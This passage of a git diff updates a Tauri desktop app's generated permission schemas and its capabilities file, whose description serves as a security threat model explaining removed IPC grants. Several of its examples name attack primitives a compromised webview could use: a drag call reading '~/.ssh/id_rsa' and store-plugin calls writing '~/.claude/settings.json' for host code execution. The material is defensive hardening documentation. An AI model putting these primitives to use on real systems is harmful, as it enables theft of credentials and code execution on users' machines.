scope.","commands":{"allow":["set_always_on_top"],"deny":[]}},"allow-set-background-color":{"identifier":"allow-set-background-color","description":"Enables the set_background_color command without any pre-configured scope.","commands":{"allow":["set_background_color"],"deny":[]}},"allow-set-badge-count":{"identifier":"allow-set-badge-count","description":"Enables the set_badge_count command without any pre-configured scope.","commands":{"allow":["set_badge_count"],"deny":[]}},"allow-set-badge-label":{"identifier":"allow-set-badge-label","description":"Enables the set_badge_label command without any pre-configured scope.","commands":{"allow":["set_badge_label"],"deny":[]}},"allow-set-closable":{"identifier":"allow-set-closable","description":"Enables the set_closable command without any pre-configured scope.","commands":{"allow":["set_closable"],"deny":[]}},"allow-set-content-protected":{"identifier":"allow-set-content-protected","description":"Enables the set_content_protected command without any pre-configured scope.","commands":{"allow":["set_content_protected"],"deny":[]}},"allow-set-cursor-grab":{"identifier":"allow-set-cursor-grab","description":"Enables the set_cursor_grab command without any pre-configured scope.","commands":{"allow":["set_cursor_grab"],"deny":[]}},"allow-set-cursor-icon":{"identifier":"allow-set-cursor-icon","description":"Enables the set_cursor_icon command without any pre-configured scope.","commands":{"allow":["set_cursor_icon"],"deny":[]}},"allow-set-cursor-position":{"identifier":"allow-set-cursor-position","description":"Enables the set_cursor_position command without any pre-configured scope.","commands":{"allow":["set_cursor_position"],"deny":[]}},"allow-set-cursor-visible":{"identifier":"allow-set-cursor-visible","description":"Enables the set_cursor_visible command without any pre-configured scope.","commands":{"allow":["set_cursor_visible"],"deny":[]}},"allow-set-decorations":{"identifier":"allow-set-decorations","description":"Enables the set_decorations command without any pre-configured scope.","commands":{"allow":["set_decorations"],"deny":[]}},"allow-set-effects":{"identifier":"allow-set-effects","description":"Enables the set_effects command without any pre-configured scope.","commands":{"allow":["set_effects"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-focus":{"identifier":"allow-set-focus","description":"Enables the set_focus command without any pre-configured scope.","commands":{"allow":["set_focus"],"deny":[]}},"allow-set-focusable":{"identifier":"allow-set-focusable","description":"Enables the set_focusable command without any pre-configured scope.","commands":{"allow":["set_focusable"],"deny":[]}},"allow-set-fullscreen":{"identifier":"allow-set-fullscreen","description":"Enables the set_fullscreen command without any pre-configured scope.","commands":{"allow":["set_fullscreen"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-ignore-cursor-events":{"identifier":"allow-set-ignore-cursor-events","description":"Enables the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":["set_ignore_cursor_events"],"deny":[]}},"allow-set-max-size":{"identifier":"allow-set-max-size","description":"Enables the set_max_size command without any pre-configured scope.","commands":{"allow":["set_max_size"],"deny":[]}},"allow-set-maximizable":{"identifier":"allow-set-maximizable","description":"Enables the set_maximizable command without any pre-configured scope.","commands":{"allow":["set_maximizable"],"deny":[]}},"allow-set-min-size":{"identifier":"allow-set-min-size","description":"Enables the set_min_size command without any pre-configured scope.","commands":{"allow":["set_min_size"],"deny":[]}},"allow-set-minimizable":{"identifier":"allow-set-minimizable","description":"Enables the set_minimizable command without any pre-configured scope.","commands":{"allow":["set_minimizable"],"deny":[]}},"allow-set-overlay-icon":{"identifier":"allow-set-overlay-icon","description":"Enables the set_overlay_icon command without any pre-configured scope.","commands":{"allow":["set_overlay_icon"],"deny":[]}},"allow-set-position":{"identifier":"allow-set-position","description":"Enables the set_position command without any pre-configured scope.","commands":{"allow":["set_position"],"deny":[]}},"allow-set-progress-bar":{"identifier":"allow-set-progress-bar","description":"Enables the set_progress_bar command without any pre-configured scope.","commands":{"allow":["set_progress_bar"],"deny":[]}},"allow-set-resizable":{"identifier":"allow-set-resizable","description":"Enables the set_resizable command without any pre-configured scope.","commands":{"allow":["set_resizable"],"deny":[]}},"allow-set-shadow":{"identifier":"allow-set-shadow","description":"Enables the set_shadow command without any pre-configured scope.","commands":{"allow":["set_shadow"],"deny":[]}},"allow-set-simple-fullscreen":{"identifier":"allow-set-simple-fullscreen","description":"Enables the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":["set_simple_fullscreen"],"deny":[]}},"allow-set-size":{"identifier":"allow-set-size","description":"Enables the set_size command without any pre-configured scope.","commands":{"allow":["set_size"],"deny":[]}},"allow-set-size-constraints":{"identifier":"allow-set-size-constraints","description":"Enables the set_size_constraints command without any pre-configured scope.","commands":{"allow":["set_size_constraints"],"deny":[]}},"allow-set-skip-taskbar":{"identifier":"allow-set-skip-taskbar","description":"Enables the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":["set_skip_taskbar"],"deny":[]}},"allow-set-theme":{"identifier":"allow-set-theme","description":"Enables the set_theme command without any pre-configured scope.","commands":{"allow":["set_theme"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-title-bar-style":{"identifier":"allow-set-title-bar-style","description":"Enables the set_title_bar_style command without any pre-configured scope.","commands":{"allow":["set_title_bar_style"],"deny":[]}},"allow-set-visible-on-all-workspaces":{"identifier":"allow-set-visible-on-all-workspaces","description":"Enables the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":["set_visible_on_all_workspaces"],"deny":[]}},"allow-show":{"identifier":"allow-show","description":"Enables the show command without any pre-configured scope.","commands":{"allow":["show"],"deny":[]}},"allow-start-dragging":{"identifier":"allow-start-dragging","description":"Enables the start_dragging command without any pre-configured scope.","commands":{"allow":["start_dragging"],"deny":[]}},"allow-start-resize-dragging":{"identifier":"allow-start-resize-dragging","description":"Enables the start_resize_dragging command without any pre-configured scope.","commands":{"allow":["start_resize_dragging"],"deny":[]}},"allow-theme":{"identifier":"allow-theme","description":"Enables the theme command without any pre-configured scope.","commands":{"allow":["theme"],"deny":[]}},"allow-title":{"identifier":"allow-title","description":"Enables the title command without any pre-configured scope.","commands":{"allow":["title"],"deny":[]}},"allow-toggle-maximize":{"identifier":"allow-toggle-maximize","description":"Enables the toggle_maximize command without any pre-configured scope.","commands":{"allow":["toggle_maximize"],"deny":[]}},"allow-unmaximize":{"identifier":"allow-unmaximize","description":"Enables the unmaximize command without any pre-configured scope.","commands":{"allow":["unmaximize"],"deny":[]}},"allow-unminimize":{"identifier":"allow-unminimize","description":"Enables the unminimize command without any pre-configured scope.","commands":{"allow":["unminimize"],"deny":[]}},"deny-activity-name":{"identifier":"deny-activity-name","description":"Denies the activity_name command without any pre-configured scope.","commands":{"allow":[],"deny":["activity_name"]}},"deny-available-monitors":{"identifier":"deny-available-monitors","description":"Denies the available_monitors command without any pre-configured scope.","commands":{"allow":[],"deny":["available_monitors"]}},"deny-center":{"identifier":"deny-center","description":"Denies the center command without any pre-configured scope.","commands":{"allow":[],"deny":["center"]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}},"deny-create":{"identifier":"deny-create","description":"Denies the create command without any pre-configured scope.","commands":{"allow":[],"deny":["create"]}},"deny-current-monitor":{"identifier":"deny-current-monitor","description":"Denies the current_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["current_monitor"]}},"deny-cursor-position":{"identifier":"deny-cursor-position","description":"Denies the cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["cursor_position"]}},"deny-destroy":{"identifier":"deny-destroy","description":"Denies the destroy command without any pre-configured scope.","commands":{"allow":[],"deny":["destroy"]}},"deny-get-all-windows":{"identifier":"deny-get-all-windows","description":"Denies the get_all_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_windows"]}},"deny-hide":{"identifier":"deny-hide","description":"Denies the hide command without any pre-configured scope.","commands":{"allow":[],"deny":["hide"]}},"deny-inner-position":{"identifier":"deny-inner-position","description":"Denies the inner_position command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_position"]}},"deny-inner-size":{"identifier":"deny-inner-size","description":"Denies the inner_size command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_size"]}},"deny-internal-toggle-maximize":{"identifier":"deny-internal-toggle-maximize","description":"Denies the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_maximize"]}},"deny-is-always-on-top":{"identifier":"deny-is-always-on-top","description":"Denies the is_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["is_always_on_top"]}},"deny-is-closable":{"identifier":"deny-is-closable","description":"Denies the is_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_closable"]}},"deny-is-decorated":{"identifier":"deny-is-decorated","description":"Denies the is_decorated command without any pre-configured scope.","commands":{"allow":[],"deny":["is_decorated"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-is-focused":{"identifier":"deny-is-focused","description":"Denies the is_focused command without any pre-configured scope.","commands":{"allow":[],"deny":["is_focused"]}},"deny-is-fullscreen":{"identifier":"deny-is-fullscreen","description":"Denies the is_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["is_fullscreen"]}},"deny-is-maximizable":{"identifier":"deny-is-maximizable","description":"Denies the is_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximizable"]}},"deny-is-maximized":{"identifier":"deny-is-maximized","description":"Denies the is_maximized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximized"]}},"deny-is-minimizable":{"identifier":"deny-is-minimizable","description":"Denies the is_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimizable"]}},"deny-is-minimized":{"identifier":"deny-is-minimized","description":"Denies the is_minimized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimized"]}},"deny-is-resizable":{"identifier":"deny-is-resizable","description":"Denies the is_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_resizable"]}},"deny-is-visible":{"identifier":"deny-is-visible","description":"Denies the is_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["is_visible"]}},"deny-maximize":{"identifier":"deny-maximize","description":"Denies the maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["maximize"]}},"deny-minimize":{"identifier":"deny-minimize","description":"Denies the minimize command without any pre-configured scope.","commands":{"allow":[],"deny":["minimize"]}},"deny-monitor-from-point":{"identifier":"deny-monitor-from-point","description":"Denies the monitor_from_point command without any pre-configured scope.","commands":{"allow":[],"deny":["monitor_from_point"]}},"deny-outer-position":{"identifier":"deny-outer-position","description":"Denies the outer_position command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_position"]}},"deny-outer-size":{"identifier":"deny-outer-size","description":"Denies the outer_size command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_size"]}},"deny-primary-monitor":{"identifier":"deny-primary-monitor","description":"Denies the primary_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["primary_monitor"]}},"deny-request-user-attention":{"identifier":"deny-request-user-attention","description":"Denies the request_user_attention command without any pre-configured scope.","commands":{"allow":[],"deny":["request_user_attention"]}},"deny-scale-factor":{"identifier":"deny-scale-factor","description":"Denies the scale_factor command without any pre-configured scope.","commands":{"allow":[],"deny":["scale_factor"]}},"deny-scene-identifier":{"identifier":"deny-scene-identifier","description":"Denies the scene_identifier command without any pre-configured scope.","commands":{"allow":[],"deny":["scene_identifier"]}},"deny-set-always-on-bottom":{"identifier":"deny-set-always-on-bottom","description":"Denies the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_bottom"]}},"deny-set-always-on-top":{"identifier":"deny-set-always-on-top","description":"Denies the set_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_top"]}},"deny-set-background-color":{"identifier":"deny-set-background-color","description":"Denies the set_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_background_color"]}},"deny-set-badge-count":{"identifier":"deny-set-badge-count","description":"Denies the set_badge_count command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_count"]}},"deny-set-badge-label":{"identifier":"deny-set-badge-label","description":"Denies the set_badge_label command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_label"]}},"deny-set-closable":{"identifier":"deny-set-closable","description":"Denies the set_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_closable"]}},"deny-set-content-protected":{"identifier":"deny-set-content-protected","description":"Denies the set_content_protected command without any pre-configured scope.","commands":{"allow":[],"deny":["set_content_protected"]}},"deny-set-cursor-grab":{"identifier":"deny-set-cursor-grab","description":"Denies the set_cursor_grab command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_grab"]}},"deny-set-cursor-icon":{"identifier":"deny-set-cursor-icon","description":"Denies the set_cursor_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_icon"]}},"deny-set-cursor-position":{"identifier":"deny-set-cursor-position","description":"Denies the set_cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_position"]}},"deny-set-cursor-visible":{"identifier":"deny-set-cursor-visible","description":"Denies the set_cursor_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_visible"]}},"deny-set-decorations":{"identifier":"deny-set-decorations","description":"Denies the set_decorations command without any pre-configured scope.","commands":{"allow":[],"deny":["set_decorations"]}},"deny-set-effects":{"identifier":"deny-set-effects","description":"Denies the set_effects command without any pre-configured scope.","commands":{"allow":[],"deny":["set_effects"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-focus":{"identifier":"deny-set-focus","description":"Denies the set_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focus"]}},"deny-set-focusable":{"identifier":"deny-set-focusable","description":"Denies the set_focusable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focusable"]}},"deny-set-fullscreen":{"identifier":"deny-set-fullscreen","description":"Denies the set_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_fullscreen"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-ignore-cursor-events":{"identifier":"deny-set-ignore-cursor-events","description":"Denies the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":[],"deny":["set_ignore_cursor_events"]}},"deny-set-max-size":{"identifier":"deny-set-max-size","description":"Denies the set_max_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_max_size"]}},"deny-set-maximizable":{"identifier":"deny-set-maximizable","description":"Denies the set_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_maximizable"]}},"deny-set-min-size":{"identifier":"deny-set-min-size","description":"Denies the set_min_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_min_size"]}},"deny-set-minimizable":{"identifier":"deny-set-minimizable","description":"Denies the set_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_minimizable"]}},"deny-set-overlay-icon":{"identifier":"deny-set-overlay-icon","description":"Denies the set_overlay_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_overlay_icon"]}},"deny-set-position":{"identifier":"deny-set-position","description":"Denies the set_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_position"]}},"deny-set-progress-bar":{"identifier":"deny-set-progress-bar","description":"Denies the set_progress_bar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_progress_bar"]}},"deny-set-resizable":{"identifier":"deny-set-resizable","description":"Denies the set_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_resizable"]}},"deny-set-shadow":{"identifier":"deny-set-shadow","description":"Denies the set_shadow command without any pre-configured scope.","commands":{"allow":[],"deny":["set_shadow"]}},"deny-set-simple-fullscreen":{"identifier":"deny-set-simple-fullscreen","description":"Denies the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_simple_fullscreen"]}},"deny-set-size":{"identifier":"deny-set-size","description":"Denies the set_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size"]}},"deny-set-size-constraints":{"identifier":"deny-set-size-constraints","description":"Denies the set_size_constraints command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size_constraints"]}},"deny-set-skip-taskbar":{"identifier":"deny-set-skip-taskbar","description":"Denies the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_skip_taskbar"]}},"deny-set-theme":{"identifier":"deny-set-theme","description":"Denies the set_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_theme"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-title-bar-style":{"identifier":"deny-set-title-bar-style","description":"Denies the set_title_bar_style command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title_bar_style"]}},"deny-set-visible-on-all-workspaces":{"identifier":"deny-set-visible-on-all-workspaces","description":"Denies the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible_on_all_workspaces"]}},"deny-show":{"identifier":"deny-show","description":"Denies the show command without any pre-configured scope.","commands":{"allow":[],"deny":["show"]}},"deny-start-dragging":{"identifier":"deny-start-dragging","description":"Denies the start_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_dragging"]}},"deny-start-resize-dragging":{"identifier":"deny-start-resize-dragging","description":"Denies the start_resize_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_resize_dragging"]}},"deny-theme":{"identifier":"deny-theme","description":"Denies the theme command without any pre-configured scope.","commands":{"allow":[],"deny":["theme"]}},"deny-title":{"identifier":"deny-title","description":"Denies the title command without any pre-configured scope.","commands":{"allow":[],"deny":["title"]}},"deny-toggle-maximize":{"identifier":"deny-toggle-maximize","description":"Denies the toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["toggle_maximize"]}},"deny-unmaximize":{"identifier":"deny-unmaximize","description":"Denies the unmaximize command without any pre-configured scope.","commands":{"allow":[],"deny":["unmaximize"]}},"deny-unminimize":{"identifier":"deny-unminimize","description":"Denies the unminimize command without any pre-configured scope.","commands":{"allow":[],"deny":["unminimize"]}}},"permission_sets":{},"global_scope_schema":null},"dialog":{"default_permission":{"identifier":"default","description":"This permission set configures the types of dialogs\navailable from the dialog plugin.\n\n#### Granted Permissions\n\nAll dialog types are enabled.\n\n\n","permissions":["allow-message","allow-save","allow-open"]},"permissions":{"allow-ask":{"identifier":"allow-ask","description":"Enables the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-confirm":{"identifier":"allow-confirm","description":"Enables the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-message":{"identifier":"allow-message","description":"Enables the message command without any pre-configured scope.","commands":{"allow":["message"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-save":{"identifier":"allow-save","description":"Enables the save command without any pre-configured scope.","commands":{"allow":["save"],"deny":[]}},"deny-ask":{"identifier":"deny-ask","description":"Denies the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-confirm":{"identifier":"deny-confirm","description":"Denies the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-message":{"identifier":"deny-message","description":"Denies the message command without any pre-configured scope.","commands":{"allow":[],"deny":["message"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-save":{"identifier":"deny-save","description":"Denies the save command without any pre-configured scope.","commands":{"allow":[],"deny":["save"]}}},"permission_sets":{},"global_scope_schema":null},"opener":{"default_permission":{"identifier":"default","description":"This permission set allows opening `mailto:`, `tel:`, `https://` and `http://` urls using their default application\nas well as reveal file in directories using default file explorer","permissions":["allow-open-url","allow-reveal-item-in-dir","allow-default-urls"]},"permissions":{"allow-default-urls":{"identifier":"allow-default-urls","description":"This enables opening `mailto:`, `tel:`, `https://` and `http://` urls using their default application.","commands":{"allow":[],"deny":[]},"scope":{"allow":[{"url":"mailto:*"},{"url":"tel:*"},{"url":"http://*"},{"url":"https://*"}]}},"allow-open-path":{"identifier":"allow-open-path","description":"Enables the open_path command without any pre-configured scope.","commands":{"allow":["open_path"],"deny":[]}},"allow-open-url":{"identifier":"allow-open-url","description":"Enables the open_url command without any pre-configured scope.","commands":{"allow":["open_url"],"deny":[]}},"allow-reveal-item-in-dir":{"identifier":"allow-reveal-item-in-dir","description":"Enables the reveal_item_in_dir command without any pre-configured scope.","commands":{"allow":["reveal_item_in_dir"],"deny":[]}},"deny-open-path":{"identifier":"deny-open-path","description":"Denies the open_path command without any pre-configured scope.","commands":{"allow":[],"deny":["open_path"]}},"deny-open-url":{"identifier":"deny-open-url","description":"Denies the open_url command without any pre-configured scope.","commands":{"allow":[],"deny":["open_url"]}},"deny-reveal-item-in-dir":{"identifier":"deny-reveal-item-in-dir","description":"Denies the reveal_item_in_dir command without any pre-configured scope.","commands":{"allow":[],"deny":["reveal_item_in_dir"]}}},"permission_sets":{},"global_scope_schema":{"$schema":"http://json-schema.org/draft-07/schema#","anyOf":[{"properties":{"app":{"allOf":[{"$ref":"#/definitions/Application"}],"description":"An application to open this url with, for example: firefox."},"url":{"description":"A URL that can be opened by the webview when using the Opener APIs.\n\nWildcards can be used following the UNIX glob pattern.\n\nExamples:\n\n- \"https://*\" : allows all HTTPS origin\n\n- \"https://*.github.com/tauri-apps/tauri\": allows any subdomain of \"github.com\" with the \"tauri-apps/api\" path\n\n- \"https://myapi.service.com/users/*\": allows access to any URLs that begins with \"https://myapi.service.com/users/\"","type":"string"}},"required":["url"],"type":"object"},{"properties":{"app":{"allOf":[{"$ref":"#/definitions/Application"}],"description":"An application to open this path with, for example: xdg-open."},"path":{"description":"A path that can be opened by the webview when using the Opener APIs.\n\nThe pattern can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$APP`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.","type":"string"}},"required":["path"],"type":"object"}],"definitions":{"Application":{"anyOf":[{"description":"Open in default application.","type":"null"},{"description":"If true, allow open with any application.","type":"boolean"},{"description":"Allow specific application to open with.","type":"string"}],"description":"Opener scope application."}},"description":"Opener scope entry.","title":"OpenerScopeEntry"}}} \ No newline at end of file diff --git a/app/src-tauri/gen/schemas/capabilities.json b/app/src-tauri/gen/schemas/capabilities.json index 30b6766..8baa483 100644 --- a/app/src-tauri/gen/schemas/capabilities.json +++ b/app/src-tauri/gen/schemas/capabilities.json @@ -1 +1 @@ -{"default":{"identifier":"default","description":"Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands still take a host path over IPC as a string — the terminal drop and `download_container_backup` — and for those `validate_host_path` is the boundary rather than defence in depth. This file is the reviewed threat model of record, so keep this census accurate: a stale reference here is worse than none. Note that dragging files *into* the app is unaffected: `dragDropEnabled` and `onDragDropEvent` are core webview behaviour and need no grant. Historical note kept because it is easy to re-introduce: the `store:*` grants were removed — nothing in `app/src` uses `@tauri-apps/plugin-store`, and the plugin's `resolve_store_path` is a `PathBuf::push` against AppData, which `push` discards outright when handed an absolute path, so the grant was an arbitrary host-file read/write primitive (`plugin:store|load` + `set` + `save` on `~/.claude/settings.json` is host code execution). A second capability file, `file-viewer.json`, covers the `file-viewer-*` windows the terminal file viewer opens on `viewer.html`; it is the only other local-origin window, its grants are listed and justified there, and its one non-obvious grant (`core:window:allow-destroy`) exists because `onCloseRequested` cannot close a window without it. App commands are gated by this file too. `build.rs` declares a Tauri `AppManifest` listing every command in `generate_handler!`, which is what makes tauri 2.11.0 apply the ACL to app commands at all (`webview/mod.rs:1794` skips it when no app manifest exists), and the bare `allow-` entries below are the complete list of app commands the main window may call. `build.rs` refuses to build unless every registered command has exactly one such grant, in the file whose `windows` its name says it belongs to (`viewer_*` in `file-viewer.json`, everything else here), and unless every bare entry names a registered command — so a forgotten, misspelled, duplicated or misfiled grant is a failed `cargo check`, not a feature that dies at runtime with `not allowed by ACL`. `deny-*` is banned by the same check: in tauri 2.11.0 a deny matches regardless of window or origin, so a deny meant for the viewer would deny main too. Hand-written files under `permissions/` are refused for the same reason — they would be grants this census cannot see. Because the census can only vouch for what it reads, `build.rs` also refuses any capability it did not check: anything in `capabilities/` other than a top-level `*.json` file (tauri also loads `.toml`/`.json5` there, and subdirectories), a `webviews` or `remote` key in a capability file (either would extend grants beyond what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`, any `tauri..conf.json`, or `TAURI_CONFIG`, and a tauri config in a format the census cannot parse (JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, editor swap files) is recognised and skipped in `capabilities/` and `permissions/` rather than refused, since tauri never loads it either. Each failure names the check that failed (\"stray entry in capabilities/\", \"capabilities declared outside capabilities/\", \"hand-written permission\", …) rather than always reading as a grant/handler mismatch. Known gap: adding a new `tauri..conf.json` to a tree that has already been built once only takes effect on a clean build or in CI — cargo's incremental build has no reason to notice a file that did not exist on the previous build. The pop-out stays capability-less. The Rust label gates in `commands/file_viewer_commands.rs` remain, because the ACL says *which* window may call a command and the label says *whose* registry entry it acts on; they are not redundant. The rules live in `src/command_census.rs`, which is unit-tested, and `src/test/capabilities.test.ts` checks the other direction: that the code that runs in each window imports only the wrappers that window is granted. On the CSP side: `app.security.csp` in `tauri.conf.json` covers the shipped bundle, and there is deliberately no `devCsp`. `npm run tauri dev` loads the main document straight from Vite at `build.devUrl` (`http://localhost:1420`), and Tauri only attaches a CSP to documents it serves itself — `protocol/tauri.rs:217` sets the header on `tauri://` assets, and the dev server is proxied through that protocol only when `PROXY_DEV_SERVER`, which is `cfg!(all(dev, mobile))` and therefore 